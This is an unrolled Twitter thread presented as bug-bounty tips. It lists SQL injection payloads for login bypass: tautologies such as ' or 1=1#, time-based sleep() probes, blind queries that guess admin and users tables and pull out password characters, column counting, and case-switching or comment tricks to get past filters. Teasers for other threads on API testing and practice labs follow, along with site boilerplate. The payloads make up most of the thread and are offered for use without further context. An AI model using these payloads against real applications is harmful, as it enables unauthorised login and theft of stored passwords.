Abhishek Meena Profile picture
Oct 8 9 tweets 6 min read
Login Bypass 🌵
#SQLi

param='
param="
param=' or 1=1
param=' or 1=0
param=' and 1=1
' or sleep(2) and 1=1#
' or sleep(2)#
admin' and sleep(2)#
' union select sleep(2),null#
' union select sleep(2),null,null,null,null#

#cybersecurity #hacking #bugbountytips #infosec

1/9 👇🏿✔
param=' or 1=1#
param=' or 1=1
param=' or 1=1 //
param= or 1=1#
param=and or 1=1#
param=' or 1=1

This is the most classic, standard first test:

' or '1'='1

Then you have:
-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '

#cybersecurity #hacking #bugbountytips

2/9 👇🏿✔
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x

3/9 👇🏿✔
If nothing works try these Blind sql payloads:

' AND (select 1)=1
Guessing Table name:
' AND (select 1 from admin limit 0,1)=1
' AND (select 1 from users limit 0,1)=1

#cybersecurity #hacking #bugbountytips

4/9 ✔👇🏿
Guessing Columns:

' AND (select substring(concat(1,pass),1,1) from users limit 0,1)=1
' AND (select substring(concat(1,password),1,1) from users limit 0,1)=

#cybersecurity #hacking #bugbountytips

5/6✔👇🏿
Now determine number of columns in the current table

param=' or 1=1 order by 1#

param=' or 1=1 order by x.x.x.x

let say there are 3 columns

#cybersecurity #hacking #bugbountytips

6/9 👇🏿✔
BYPASSING filters

we can use case switching or commenting to bypass normal filters such as union, select

param=' or 1=0 UniOn selEct id,null,null FroM public.info

param=' or 1=0 un//ion sele//ct id,null,null fr/**/om public.info# works in mssql

7/9 👇🏿
Thank you so much for reading these threads ☺👍

Hope you will like these

You can follow me if you want more threads like these

😃

• • •

Missing some Tweet in this thread? You can try to force a refresh
 

Keep Current with Abhishek Meena

Abhishek Meena Profile picture

Stay in touch and get notified when new unrolls are available from this author!

Read all threads

This Thread may be Removed Anytime!

PDF

Twitter may remove this content at anytime! Save it as PDF for later use!

Try unrolling a thread yourself!

how to unroll video
  1. Follow @ThreadReaderApp to mention us!

  2. From a Twitter thread mention us with a keyword "unroll"
@threadreaderapp unroll

Practice here first or read more on our help page!

More from @Aacle_

Oct 9
API-Security-Tips

Old version of API tend to be more vulnerable

Saw a call to api/v3/login? Check api/v1/login exists as well It might be more vulnerable

#cybersecurity #hacking #bugbounty #bugbountytips #infosec #APIsecurity

API TIP: 1/10👇🏿✔
Never assume there’s only one way to authenticate to an API! Modern apps have many API endpoints for AuthN: /api/mobile/login | /api/v3/login | /api/magic_link; etc..

Find and test all of them for AuthN problems.

API TIP: 2/10👇🏿✔
SQL Injections used to be extremely common 5-10 years ago, and you could break almost every company?

BOLA (IDOR) is the new epidemic of API security.

As a pentester, if you understand how to exploit it, your glory is guaranteed.

medium.com/@inonst/a-deep…

API TIP: 3/10👇🏿✔
Read 10 tweets
Aug 9
FREE LABS TO TEST YOUR PENTEST/CTF SKILLS

Share with your network and friends.

#cybersecurity #bugbounty #hacking #infosec #bugbountytips #ctf #pentesting

🧵 1/n
· Academy Hackaflag BR - hackaflag.com.br

· Attack-Defense - attackdefense.com

· Alert to win - alf.nu/alert1

· CTF Komodo Security - ctf.komodosec.com

· CMD Challenge - cmdchallenge.com
· Explotation Education - exploit.education

· Google CTF - capturetheflag.withgoogle.com

· HackTheBox - hackthebox.com

· Hackthis - hackthis.co.uk

· Hacksplaining - hacksplaining.com/lessons

· Hacker101 - ctf.hacker101.com
Read 8 tweets
Apr 20
Make your own hacking Tool with Python Request Module

#imp
^^\ Full Documentary Python Scripting Request /^^

#cybersecurity
#bugbounty #bugbountytips #hacking

{ docs.python-requests.org/en/master/ }
Beloved Features¶

Requests is ready for today’s web.

> Keep-Alive & Connection Pooling

> International Domains and URLs

> Sessions with Cookie Persistence

> Browser-style SSL Verification

> Automatic Content Decoding

> Basic/Digest Authentication
Elegant Key/Value Cookies
> Elegant Key/Value Cookies

> Automatic Decompression

> Unicode Response Bodies

> HTTP(S) Proxy Support

> Multipart File Uploads

> Streaming Downloads

> Connection Timeouts

> Chunked Requests
.netrc Support
Read 4 tweets
Apr 19
FREE LABS TO TEST YOUR PENTEST/CTF SKILLS

Share with your network and friends.

#cybersecurity #bugbounty #hacking #infosec #bugbountytips #ctf #pentesting

🧵 1/n
· Academy Hackaflag BR - hackaflag.com.br
· Attack-Defense - attackdefense.com
· Alert to win - alf.nu/alert1
· CTF Komodo Security - ctf.komodosec.com
· CMD Challenge - cmdchallenge.com
· Explotation Education - exploit.education
· Google CTF - capturetheflag.withgoogle.com
· HackTheBox - hackthebox.com
· Hackthis - hackthis.co.uk
· Hacksplaining - hacksplaining.com/lessons
· Hacker101 - ctf.hacker101.com
Read 8 tweets

Did Thread Reader help you today?

Support us! We are indie developers!


This site is made by just two indie developers on a laptop doing marketing, support and development! Read more about the story.

Become a Premium Member ($3/month or $30/year) and get exclusive features!

Become Premium

Don't want to be a Premium member but still want to support us?

Make a small donation by buying us coffee ($5) or help with server cost ($10)

Donate via Paypal

Or Donate anonymously using crypto!

Ethereum

0xfe58350B80634f60Fa6Dc149a72b4DFbc17D341E copy

Bitcoin

3ATGMxNzCUFzxpMCHL5sWSt4DVtS8UqXpi copy

Thank you for your support!

Follow Us on Twitter!

:(